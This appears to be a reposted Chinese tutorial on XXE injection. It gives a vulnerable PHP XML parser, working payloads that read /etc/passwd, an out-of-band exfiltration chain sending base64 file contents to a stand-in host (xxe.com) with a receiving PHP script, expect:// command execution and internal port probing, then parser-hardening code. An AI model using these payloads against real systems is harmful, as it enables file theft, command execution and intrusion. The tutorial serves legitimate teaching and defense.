转自:http://uknowsec.cn/posts/notes/X ... AD%A6%E4%B9%A0.html
前言XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.
在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题 漏洞利用当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 测试代码使用simplexml_load_string函数解析body- <?php
- $data = file_get_contents('php://input');
- $xml = simplexml_load_string($data);
- echo $xml->name;
- ?>
复制代码
漏洞测试漏洞测试方式1有回显,直接读取文件 Payload: - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <root>
- <name>&xxe;</name>
- </root>
复制代码
漏洞测试方式2无回显,引用远程服务器上的XML文件读取文件 Payload: - <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE root [
- <!ENTITY % remote SYSTEM "http://xxe.com/1.xml">
- %remote;]>
复制代码
将以下1.xml保存到WEB服务器下
1.xml
- <!ENTITY % a SYSTEM "file:///etc/passwd">
- <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
复制代码
[url=http://obr4sfdq7.bkt.clouddn.com/xxe1.png] 漏洞测试方式3在主机上放一个接收文件的php(get.php): - <?php
- file_put_contents('01.txt', $_GET['xxe_local']);
- ?>
复制代码
1.xml内容:
- <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
- <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">
- %int;
- %trick;
复制代码
这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到[url=http://xxe.com/get.php?xxe_local=%payload;%EF%BC%8C%E8%BF%9B%E8%A1%8CHTTP%E8%AF%B7%E6%B1%82%E3%80%82]http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。 接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。 发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上
[/url] 查看服务器access.log,可以看到访问日志
[url=http://obr4sfdq7.bkt.clouddn.com/xxe4.png] base64解码
[url=http://obr4sfdq7.bkt.clouddn.com/xxe6.png] [url=http://obr4sfdq7.bkt.clouddn.com/xxe8.png] XXE 危害读取任意文件
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <root>
- <name>&xxe;</name>
- </root>
复制代码
执行系统命令在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "expect://id" >]>
- <root>
- <name>&xxe;</name>
- </root>
复制代码
探测内网端口
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
- <root>
- <name>&xxe;</name>
- </root>
复制代码
攻击内网网站结合其他的漏洞比如:struts2
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
- <root>
- <name>&xxe;</name>
- </root>
复制代码
防御XXE攻击方案一、使用开发语言提供的禁用外部实体的方法
- PHP:
- libxml_disable_entity_loader(true);
- JAVA:
- DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
- dbf.setExpandEntityReferences(false);
- Python:
- from lxml import etree
- xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码方案二、过滤用户提交的XML数据 关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。 Reference
|